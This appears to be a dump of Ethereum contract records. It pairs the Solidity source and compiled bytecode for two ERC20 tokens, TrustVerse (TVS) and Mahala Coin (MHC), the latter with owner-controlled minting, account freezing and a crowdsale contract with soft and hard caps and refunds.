(address) { require(msg.sender == addressSaleContract || msg.sender == owner); return addressSaleContract; } /** * @dev Display token holder's bonus token amount. * @param _bonusHolderAddress The address of bonus token holder. */ function checkBonusTokenAmount (address _bonusHolderAddress) public view returns (uint256) { return bonusTokens[_bonusHolderAddress]; } /** * @dev Display token holder's remaining bonus token holding period. * @param _bonusHolderAddress The address of bonus token holder. */ function checkBonusTokenHoldingPeriodRemained (address _bonusHolderAddress) public view returns (uint256) { uint256 returnValue = 0; if (bonusReleaseTime[_bonusHolderAddress] > now) { returnValue = bonusReleaseTime[_bonusHolderAddress].sub(now); } return returnValue; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) onlyOwner internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!blacklist[_from]); require(!blacklist[_to]); require(!blacklist[msg.sender]); require(isTokenReleased); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(isTokenReleased); require(!blacklist[_spender]); require(!blacklist[msg.sender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { require(!blacklist[_owner]); require(!blacklist[_spender]); require(!blacklist[msg.sender]); return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(!blacklist[_spender]); require(!blacklist[msg.sender]); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(!blacklist[_spender]); require(!blacklist[msg.sender]); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title TrustVerse Token * @dev Burnable ERC20 standard Token */ contract TrustVerseToken is BurnableToken, StandardToken { string public constant name = "TrustVerse"; // solium-disable-line uppercase string public constant symbol = "TVS"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780631812d2aa1461023057806318160ddd1461025957806323b872dd146102805780632ff2e9dc146102aa578063313ce567146102bf57806342966c68146102ea5780635b0ad7871461030257806366188463146103335780636af41534146103575780636b8ea4511461036c57806370a082311461038157806375012c35146103a25780637843184b146103c95780637cddc1de146104595780638da5cb5b1461047a57806395d89b411461048f578063979b49de146104a4578063a9059cbb146104c5578063c17e92b6146104e9578063d73dd6231461050a578063dd62ed3e1461052e578063e6807ca914610555578063ec715a3114610576578063edb0ea711461058b578063f2fde38b146105ac578063feaf1fe1146105cd575b600080fd5b34801561017a57600080fd5b506101836105ee565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bd5781810151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020457600080fd5b5061021c600160a060020a0360043516602435610625565b604080519115158252519081900360200190f35b34801561023c57600080fd5b50610257600160a060020a03600435166024356044356106e3565b005b34801561026557600080fd5b5061026e61073e565b60408051918252519081900360200190f35b34801561028c57600080fd5b5061021c600160a060020a0360043581169060243516604435610744565b3480156102b657600080fd5b5061026e610937565b3480156102cb57600080fd5b506102d4610947565b6040805160ff9092168252519081900360200190f35b3480156102f657600080fd5b5061025760043561094c565b34801561030e57600080fd5b50610317610970565b60408051600160a060020a039092168252519081900360200190f35b34801561033f57600080fd5b5061021c600160a060020a03600435166024356109bb565b34801561036357600080fd5b50610257610af1565b34801561037857600080fd5b5061021c610b67565b34801561038d57600080fd5b5061026e600160a060020a0360043516610b70565b3480156103ae57600080fd5b50610257600160a060020a0360043516602435604435610be7565b3480156103d557600080fd5b506040805160206004803580820135838102808601850190965280855261025795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497505093359450610c659350505050565b34801561046557600080fd5b5061026e600160a060020a0360043516610d42565b34801561048657600080fd5b50610317610d96565b34801561049b57600080fd5b50610183610da5565b3480156104b057600080fd5b5061026e600160a060020a0360043516610ddc565b3480156104d157600080fd5b5061021c600160a060020a0360043516602435610df7565b3480156104f557600080fd5b50610257600160a060020a0360043516610f7c565b34801561051657600080fd5b5061021c600160a060020a0360043516602435611034565b34801561053a57600080fd5b5061026e600160a060020a0360043581169060243516611110565b34801561056157600080fd5b5061021c600160a060020a03600435166111a5565b34801561058257600080fd5b506102576111dc565b34801561059757600080fd5b50610257600160a060020a0360043516611250565b3480156105b857600080fd5b50610257600160a060020a036004351661129c565b3480156105d957600080fd5b50610257600160a060020a0360043516611330565b60408051808201909152600a81527f5472757374566572736500000000000000000000000000000000000000000000602082015281565b60055460009060ff16151561063957600080fd5b600160a060020a03831660009081526004602052604090205460ff161561065f57600080fd5b3360009081526004602052604090205460ff161561067c57600080fd5b336000818152600760209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600054600160a060020a031633148061070b57506005546101009004600160a060020a031633145b151561071657600080fd5b600160a060020a03909216600090815260026020908152604080832093909355600390522055565b60065490565b6000600160a060020a038316151561075b57600080fd5b600160a060020a03841660009081526001602052604090205482111561078057600080fd5b600160a060020a03841660009081526007602090815260408083203384529091529020548211156107b057600080fd5b600160a060020a03841660009081526004602052604090205460ff16156107d657600080fd5b600160a060020a03831660009081526004602052604090205460ff16156107fc57600080fd5b3360009081526004602052604090205460ff161561081957600080fd5b60055460ff16151561082a57600080fd5b600160a060020a038416600090815260016020526040902054610853908363ffffffff6113d216565b600160a060020a038086166000908152600160205260408082209390935590851681522054610888908363ffffffff6113e416565b600160a060020a0380851660009081526001602090815260408083209490945591871681526007825282812033825290915220546108cc908363ffffffff6113d216565b600160a060020a03808616600081815260076020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b600054600160a060020a0316331461096357600080fd5b61096d33826113f1565b50565b6005546000906101009004600160a060020a031633148061099b5750600054600160a060020a031633145b15156109a657600080fd5b506005546101009004600160a060020a031690565b600160a060020a038216600090815260046020526040812054819060ff16156109e357600080fd5b3360009081526004602052604090205460ff1615610a0057600080fd5b50336000908152600760209081526040808320600160a060020a038716845290915290205480831115610a5657336000908152600760209081526040808320600160a060020a0388168452909152812055610a8b565b610a66818463ffffffff6113d216565b336000908152600760209081526040808320600160a060020a03891684529091529020555b336000818152600760209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054600160a060020a03163314610b0857600080fd5b60055460ff16151560011415610b23576005805460ff191690555b6005546040805133815260ff9092161515602083015280517f91887092b4e0e6ab9ce22782889c95cc48517f9549147519fe734b0ae070a4e39281900390910190a1565b60055460ff1681565b60008054600160a060020a0316331480610ba35750600160a060020a03821660009081526004602052604090205460ff16155b1515610bae57600080fd5b3360009081526004602052604090205460ff1615610bcb57600080fd5b50600160a060020a031660009081526001602052604090205490565b600054600160a060020a0316331480610c0f57506005546101009004600160a060020a031633145b1515610c1a57600080fd5b600160a060020a0383166000908152600260205260409020829055610c44426201518083026113e4565b600160a060020a039093166000908152600360205260409020929092555050565b60008054600160a060020a0316331480610c8e57506005546101009004600160a060020a031633145b1515610c9957600080fd5b5060005b8351811015610d3c578281815181101515610cb457fe5b90602001906020020151600260008684815181101515610cd057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208190555081600360008684815181101515610d1157fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055600101610c9d565b50505050565b600160a060020a0381166000908152600360205260408120548190421015610d9057600160a060020a038316600090815260036020526040902054610d8d904263ffffffff6113d216565b90505b92915050565b600054600160a060020a031681565b60408051808201909152600381527f5456530000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a031660009081526002602052604090205490565b6000600160a060020a0383161515610e0e57600080fd5b33600090815260016020526040902054821115610e2a57600080fd5b60055460ff161515610e3b57600080fd5b600160a060020a03831660009081526004602052604090205460ff1615610e6157600080fd5b3360009081526004602052604090205460ff1615610e7e57600080fd5b33600090815260036020526040902054421015610ecc5733600090815260026020908152604080832054600190925290912054610ec09163ffffffff6113d216565b821115610ecc57600080fd5b33600090815260016020526040902054610eec908363ffffffff6113d216565b3360009081526001602052604080822092909255600160a060020a03851681522054610f1e908363ffffffff6113e416565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a03163314610f9357600080fd5b600160a060020a03811660009081526004602052604090205460ff16151560011415610fda57600160a060020a0381166000908152600460205260409020805460ff191690555b600160a060020a03811660008181526004602090815260409182902054825193845260ff1615159083015280517f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac9281900390910190a150565b600160a060020a03821660009081526004602052604081205460ff161561105a57600080fd5b3360009081526004602052604090205460ff161561107757600080fd5b336000908152600760209081526040808320600160a060020a03871684529091529020546110ab908363ffffffff6113e416565b336000818152600760209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03821660009081526004602052604081205460ff161561113657600080fd5b600160a060020a03821660009081526004602052604090205460ff161561115c57600080fd5b3360009081526004602052604090205460ff161561117957600080fd5b50600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60008054600160a060020a031633146111bd57600080fd5b50600160a060020a031660009081526004602052604090205460ff1690565b600054600160a060020a031633146111f357600080fd5b60055460ff161515610b23576005805460ff191660011790556005546040805133815260ff9092161515602083015280517f91887092b4e0e6ab9ce22782889c95cc48517f9549147519fe734b0ae070a4e39281900390910190a1565b600054600160a060020a0316331461126757600080fd5b60058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600054600160a060020a031633146112b357600080fd5b600160a060020a03811615156112c857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461134757600080fd5b600160a060020a03811660009081526004602052604090205460ff161515600114610fda57600160a060020a038116600081815260046020908152604091829020805460ff191660011790819055825193845260ff1615159083015280517f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac9281900390910190a150565b6000828211156113de57fe5b50900390565b81810182811015610d9057fe5b600054600160a060020a0316331461140857600080fd5b600160a060020a03821660009081526001602052604090205481111561142d57600080fd5b600160a060020a038216600090815260016020526040902054611456908263ffffffff6113d216565b600160a060020a038316600090815260016020526040902055600654611482908263ffffffff6113d216565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a72305820049041f93f094cbfde7df491bead0b5a2806f8074ef6e1eb8bc5685b1beb39050029
{"success": true, "error": null, "results": {}}
8,872
0xfb444cc35aea3cac9dddff7ec472fe7df76539c5
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; address public addressTeam = 0x04cFbFa64917070d7AEECd20225782240E8976dc; bool public frozenAccountICO = true; mapping(address => uint256) balances; mapping (address => bool) public frozenAccount; function setFrozenAccountICO(bool _frozenAccountICO) public onlyOwner{ frozenAccountICO = _frozenAccountICO; } /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { if (msg.sender != owner && msg.sender != addressTeam){ require(!frozenAccountICO); } require(!frozenAccount[_to]); // Check if recipient is frozen balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (msg.sender != owner && msg.sender != addressTeam){ require(!frozenAccountICO); } require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MahalaCoin is Ownable, MintableToken { using SafeMath for uint256; string public constant name = "Mahala Coin"; string public constant symbol = "MHC"; uint32 public constant decimals = 18; // address public addressTeam; uint public summTeam; function MahalaCoin() public { summTeam = 110000000 * 1 ether; //Founders and supporters initial Allocations mint(addressTeam, summTeam); mint(owner, 70000000 * 1 ether); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function getTotalSupply() public constant returns(uint256){ return totalSupply; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where Contributors can make * token Contributions and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. The contract requires a MintableToken that will be * minted as contributions arrive, note that the crowdsale contract * must be owner of the token in order to be able to mint it. */ contract Crowdsale is Ownable { using SafeMath for uint256; // totalTokens uint256 public totalTokens; // soft cap uint softcap; // hard cap uint hardcap; MahalaCoin public token; // balances for softcap mapping(address => uint) public balances; // balances for softcap mapping(address => uint) public balancesToken; // The token being offered // start and end timestamps where investments are allowed (both inclusive) //pre-sale //start uint256 public startPreSale; //end uint256 public endPreSale; //ico //start uint256 public startIco; //end uint256 public endIco; //token distribution uint256 public maxPreSale; uint256 public maxIco; uint256 public totalPreSale; uint256 public totalIco; // how many token units a Contributor gets per wei uint256 public ratePreSale; uint256 public rateIco; // address where funds are collected address public wallet; // minimum quantity values uint256 public minQuanValues; uint256 public maxQuanValues; /** * event for token Procurement logging * @param contributor who Pledged for the tokens * @param beneficiary who got the tokens * @param value weis Contributed for Procurement * @param amount amount of tokens Procured */ event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale() public { token = createTokenContract(); //soft cap softcap = 5000 * 1 ether; hardcap = 20000 * 1 ether; // min quantity values minQuanValues = 100000000000000000; //0.1 eth // max quantity values maxQuanValues = 22 * 1 ether; // // start and end timestamps where investments are allowed //Pre-sale //start startPreSale = 1523260800;//09 Apr 2018 08:00:00 +0000 //end endPreSale = startPreSale + 40 * 1 days; //ico //start startIco = endPreSale; //end endIco = startIco + 40 * 1 days; // rate; ratePreSale = 462; rateIco = 231; // restrictions on amounts during the crowdfunding event stages maxPreSale = 30000000 * 1 ether; maxIco = 60000000 * 1 ether; // address where funds are collected wallet = 0x04cFbFa64917070d7AEECd20225782240E8976dc; } function setratePreSale(uint _ratePreSale) public onlyOwner { ratePreSale = _ratePreSale; } function setrateIco(uint _rateIco) public onlyOwner { rateIco = _rateIco; } // fallback function can be used to Procure tokens function () external payable { procureTokens(msg.sender); } function createTokenContract() internal returns (MahalaCoin) { return new MahalaCoin(); } // low level token Pledge function function procureTokens(address beneficiary) public payable { uint256 tokens; uint256 weiAmount = msg.value; uint256 backAmount; require(beneficiary != address(0)); //minimum amount in ETH require(weiAmount >= minQuanValues); //maximum amount in ETH require(weiAmount.add(balances[msg.sender]) <= maxQuanValues); //hard cap address _this = this; require(hardcap > _this.balance); //Pre-sale if (now >= startPreSale && now < endPreSale && totalPreSale < maxPreSale){ tokens = weiAmount.mul(ratePreSale); if (maxPreSale.sub(totalPreSale) <= tokens){ endPreSale = now; startIco = now; endIco = startIco + 40 * 1 days; } if (maxPreSale.sub(totalPreSale) < tokens){ tokens = maxPreSale.sub(totalPreSale); weiAmount = tokens.div(ratePreSale); backAmount = msg.value.sub(weiAmount); } totalPreSale = totalPreSale.add(tokens); } //ico if (now >= startIco && now < endIco && totalIco < maxIco){ tokens = weiAmount.mul(rateIco); if (maxIco.sub(totalIco) < tokens){ tokens = maxIco.sub(totalIco); weiAmount = tokens.div(rateIco); backAmount = msg.value.sub(weiAmount); } totalIco = totalIco.add(tokens); } require(tokens > 0); balances[msg.sender] = balances[msg.sender].add(msg.value); token.transfer(msg.sender, tokens); // balancesToken[msg.sender] = balancesToken[msg.sender].add(tokens); if (backAmount > 0){ msg.sender.transfer(backAmount); } emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens); } function refund() public{ address _this = this; require(_this.balance < softcap && now > endIco); require(balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function transferTokenToMultisig(address _address) public onlyOwner { address _this = this; require(_this.balance < softcap && now > endIco); token.transfer(_address, token.balanceOf(_this)); } function transferEthToMultisig() public onlyOwner { address _this = this; require(_this.balance >= softcap && now > endIco); wallet.transfer(_this.balance); token.setFrozenAccountICO(false); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { token.freezeAccount(target, freeze); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { token.mint(target, mintedAmount); } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d25780630d6f6f0b146101f457806318160ddd1461021957806323b872dd1461022c578063313ce5671461025457806340c10f1914610280578063562e9df9146102a25780636cde3c75146102d157806370a08231146102e45780637d64bcb4146103035780638da5cb5b1461031657806395d89b4114610329578063a9059cbb1461033c578063b414d4b61461035e578063c4e41b221461037d578063dd62ed3e14610390578063e724529c146103b5578063f2fde38b146103db578063f6df0d50146103fa575b600080fd5b341561012c57600080fd5b610134610412565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b61041b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a0360043516602435610452565b34156101ff57600080fd5b6102076104f8565b60405190815260200160405180910390f35b341561022457600080fd5b6102076104fe565b341561023757600080fd5b610134600160a060020a0360043581169060243516604435610504565b341561025f57600080fd5b61026761072e565b60405163ffffffff909116815260200160405180910390f35b341561028b57600080fd5b610134600160a060020a0360043516602435610733565b34156102ad57600080fd5b6102b5610839565b604051600160a060020a03909116815260200160405180910390f35b34156102dc57600080fd5b610134610848565b34156102ef57600080fd5b610207600160a060020a0360043516610869565b341561030e57600080fd5b610134610884565b341561032157600080fd5b6102b56108f1565b341561033457600080fd5b61015b610900565b341561034757600080fd5b610134600160a060020a0360043516602435610937565b341561036957600080fd5b610134600160a060020a0360043516610a7a565b341561038857600080fd5b610207610a8f565b341561039b57600080fd5b610207600160a060020a0360043581169060243516610a95565b34156103c057600080fd5b6103d9600160a060020a03600435166024351515610ac0565b005b34156103e657600080fd5b6103d9600160a060020a0360043516610b4c565b341561040557600080fd5b6103d96004351515610bab565b60065460ff1681565b60408051908101604052600b81527f4d6168616c6120436f696e000000000000000000000000000000000000000000602082015281565b60008115806104845750600160a060020a03338116600090815260056020908152604080832093871683529290522054155b151561048f57600080fd5b600160a060020a03338116600081815260056020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60075481565b60005481565b60015460009033600160a060020a03908116911614801590610535575060025433600160a060020a03908116911614155b156105625760025474010000000000000000000000000000000000000000900460ff161561056257600080fd5b600160a060020a03841660009081526004602052604090205460ff161561058857600080fd5b600160a060020a03831660009081526004602052604090205460ff16156105ae57600080fd5b600160a060020a03831615156105c357600080fd5b600160a060020a0384166000908152600360205260409020548211156105e857600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052205482111561061b57600080fd5b600160a060020a038416600090815260036020526040902054610644908363ffffffff610c0616565b600160a060020a038086166000908152600360205260408082209390935590851681522054610679908363ffffffff610c1816565b600160a060020a038085166000908152600360209081526040808320949094558783168252600581528382203390931682529190915220546106c1908363ffffffff610c0616565b600160a060020a03808616600081815260056020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b60015460009033600160a060020a0390811691161461075157600080fd5b60065460ff161561076157600080fd5b600054610774908363ffffffff610c1816565b6000908155600160a060020a03841681526003602052604090205461079f908363ffffffff610c1816565b600160a060020a0384166000818152600360205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600254600160a060020a031681565b60025474010000000000000000000000000000000000000000900460ff1681565b600160a060020a031660009081526003602052604090205490565b60015460009033600160a060020a039081169116146108a257600080fd5b60065460ff16156108b257600080fd5b6006805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a